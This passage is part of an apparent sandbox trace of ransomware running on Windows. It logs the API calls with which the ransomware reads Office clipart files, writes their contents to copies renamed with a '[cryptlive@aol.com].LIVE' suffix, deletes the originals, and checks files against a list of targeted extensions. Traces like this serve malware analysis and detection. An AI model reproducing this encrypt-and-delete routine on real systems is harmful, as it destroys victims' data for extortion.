lpNewFilePointer=0x0) returned 1 [0159.950] SetEndOfFile (hFile=0x3a0) returned 1 [0159.952] CloseHandle (hObject=0x3a0) returned 1 [0159.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf")) returned 1 [0159.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.954] lstrlenW (lpString=".doc") returned 4 [0159.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.954] lstrlenW (lpString=".docx") returned 5 [0159.954] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.954] lstrlenW (lpString=".pdf") returned 4 [0159.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.954] lstrlenW (lpString=".xls") returned 4 [0159.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.954] lstrlenW (lpString=".xlsx") returned 5 [0159.954] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.954] lstrlenW (lpString=".ppt") returned 4 [0159.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.954] lstrlenW (lpString=".zip") returned 4 [0159.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.954] lstrlenW (lpString=".rar") returned 4 [0159.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.954] lstrlenW (lpString=".bz2") returned 4 [0159.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.954] lstrlenW (lpString=".7z") returned 3 [0159.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.954] lstrlenW (lpString=".dbf") returned 4 [0159.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.954] lstrlenW (lpString=".1cd") returned 4 [0159.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.954] lstrlenW (lpString=".jpg") returned 4 [0159.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.954] lstrlenW (lpString=".doc") returned 4 [0159.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.954] lstrlenW (lpString=".docx") returned 5 [0159.954] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.955] lstrlenW (lpString=".pdf") returned 4 [0159.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.955] lstrlenW (lpString=".xls") returned 4 [0159.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.955] lstrlenW (lpString=".xlsx") returned 5 [0159.955] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.955] lstrlenW (lpString=".ppt") returned 4 [0159.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.955] lstrlenW (lpString=".zip") returned 4 [0159.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.955] lstrlenW (lpString=".rar") returned 4 [0159.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.955] lstrlenW (lpString=".bz2") returned 4 [0159.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.955] lstrlenW (lpString=".7z") returned 3 [0159.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.955] lstrlenW (lpString=".dbf") returned 4 [0159.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.955] lstrlenW (lpString=".1cd") returned 4 [0159.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0159.955] lstrlenW (lpString=".jpg") returned 4 [0159.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.955] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.955] lstrlenW (lpString="J0153047.WMF") returned 12 [0159.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0160.038] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=33068) returned 1 [0160.038] CloseHandle (hObject=0x350) returned 1 [0160.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf")) returned 0x20 [0160.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.848] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.848] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.885] GetLastError () returned 0x0 [0160.885] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x812c, lpOverlapped=0x0) returned 1 [0160.936] WriteFile (in: hFile=0x314, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x8130, lpOverlapped=0x0) returned 1 [0160.938] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.938] WriteFile (in: hFile=0x314, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.938] SetEndOfFile (hFile=0x314) returned 1 [0160.938] CloseHandle (hObject=0x314) returned 1 [0160.938] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.938] SetEndOfFile (hFile=0x384) returned 1 [0160.941] CloseHandle (hObject=0x384) returned 1 [0160.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf")) returned 1 [0161.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.066] lstrlenW (lpString=".doc") returned 4 [0161.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.066] lstrlenW (lpString=".docx") returned 5 [0161.066] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.066] lstrlenW (lpString=".pdf") returned 4 [0161.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.066] lstrlenW (lpString=".xls") returned 4 [0161.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.066] lstrlenW (lpString=".xlsx") returned 5 [0161.066] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.066] lstrlenW (lpString=".ppt") returned 4 [0161.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.066] lstrlenW (lpString=".zip") returned 4 [0161.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.066] lstrlenW (lpString=".rar") returned 4 [0161.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.066] lstrlenW (lpString=".bz2") returned 4 [0161.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.066] lstrlenW (lpString=".7z") returned 3 [0161.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.067] lstrlenW (lpString=".dbf") returned 4 [0161.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.067] lstrlenW (lpString=".1cd") returned 4 [0161.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.067] lstrlenW (lpString=".jpg") returned 4 [0161.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.067] lstrlenW (lpString=".doc") returned 4 [0161.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.067] lstrlenW (lpString=".docx") returned 5 [0161.067] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.067] lstrlenW (lpString=".pdf") returned 4 [0161.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.067] lstrlenW (lpString=".xls") returned 4 [0161.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.067] lstrlenW (lpString=".xlsx") returned 5 [0161.067] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.067] lstrlenW (lpString=".ppt") returned 4 [0161.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.067] lstrlenW (lpString=".zip") returned 4 [0161.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.067] lstrlenW (lpString=".rar") returned 4 [0161.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.067] lstrlenW (lpString=".bz2") returned 4 [0161.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.067] lstrlenW (lpString=".7z") returned 3 [0161.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.067] lstrlenW (lpString=".dbf") returned 4 [0161.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.068] lstrlenW (lpString=".1cd") returned 4 [0161.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned 63 [0161.068] lstrlenW (lpString=".jpg") returned 4 [0161.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.068] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.068] lstrlenW (lpString="J0153299.WMF") returned 12 [0161.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.104] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=36620) returned 1 [0161.104] CloseHandle (hObject=0x314) returned 1 [0161.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf")) returned 0x20 [0161.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.105] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.105] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0161.108] GetLastError () returned 0x0 [0161.108] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x8f0c, lpOverlapped=0x0) returned 1 [0161.121] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x8f10, lpOverlapped=0x0) returned 1 [0161.122] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.122] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.122] SetEndOfFile (hFile=0x3a0) returned 1 [0161.122] CloseHandle (hObject=0x3a0) returned 1 [0161.122] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.122] SetEndOfFile (hFile=0x314) returned 1 [0161.125] CloseHandle (hObject=0x314) returned 1 [0161.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf")) returned 1 [0161.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.192] lstrlenW (lpString=".doc") returned 4 [0161.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.192] lstrlenW (lpString=".docx") returned 5 [0161.192] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0161.192] lstrlenW (lpString=".pdf") returned 4 [0161.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.192] lstrlenW (lpString=".xls") returned 4 [0161.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.192] lstrlenW (lpString=".xlsx") returned 5 [0161.192] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0161.192] lstrlenW (lpString=".ppt") returned 4 [0161.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.192] lstrlenW (lpString=".zip") returned 4 [0161.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.192] lstrlenW (lpString=".rar") returned 4 [0161.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.192] lstrlenW (lpString=".bz2") returned 4 [0161.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.192] lstrlenW (lpString=".7z") returned 3 [0161.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.193] lstrlenW (lpString=".dbf") returned 4 [0161.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.193] lstrlenW (lpString=".1cd") returned 4 [0161.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.193] lstrlenW (lpString=".jpg") returned 4 [0161.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.193] lstrlenW (lpString=".doc") returned 4 [0161.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.193] lstrlenW (lpString=".docx") returned 5 [0161.193] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0161.193] lstrlenW (lpString=".pdf") returned 4 [0161.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.193] lstrlenW (lpString=".xls") returned 4 [0161.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.193] lstrlenW (lpString=".xlsx") returned 5 [0161.193] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0161.193] lstrlenW (lpString=".ppt") returned 4 [0161.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.194] lstrlenW (lpString=".zip") returned 4 [0161.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.194] lstrlenW (lpString=".rar") returned 4 [0161.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.194] lstrlenW (lpString=".bz2") returned 4 [0161.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.194] lstrlenW (lpString=".7z") returned 3 [0161.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.194] lstrlenW (lpString=".dbf") returned 4 [0161.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.194] lstrlenW (lpString=".1cd") returned 4 [0161.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0161.194] lstrlenW (lpString=".jpg") returned 4 [0161.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.330] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.330] lstrlenW (lpString="J0153398.WMF") returned 12 [0161.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.331] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=17508) returned 1 [0161.331] CloseHandle (hObject=0x1e0) returned 1 [0161.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf")) returned 0x20 [0161.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.332] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.332] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.335] GetLastError () returned 0x0 [0161.335] ReadFile (in: hFile=0x1e0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4464, lpOverlapped=0x0) returned 1 [0161.371] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4470, lpOverlapped=0x0) returned 1 [0161.372] ReadFile (in: hFile=0x1e0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.372] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.373] SetEndOfFile (hFile=0x380) returned 1 [0161.373] CloseHandle (hObject=0x380) returned 1 [0161.373] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.373] SetEndOfFile (hFile=0x1e0) returned 1 [0161.375] CloseHandle (hObject=0x1e0) returned 1 [0161.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf")) returned 1 [0161.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.455] lstrlenW (lpString=".doc") returned 4 [0161.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.455] lstrlenW (lpString=".docx") returned 5 [0161.455] 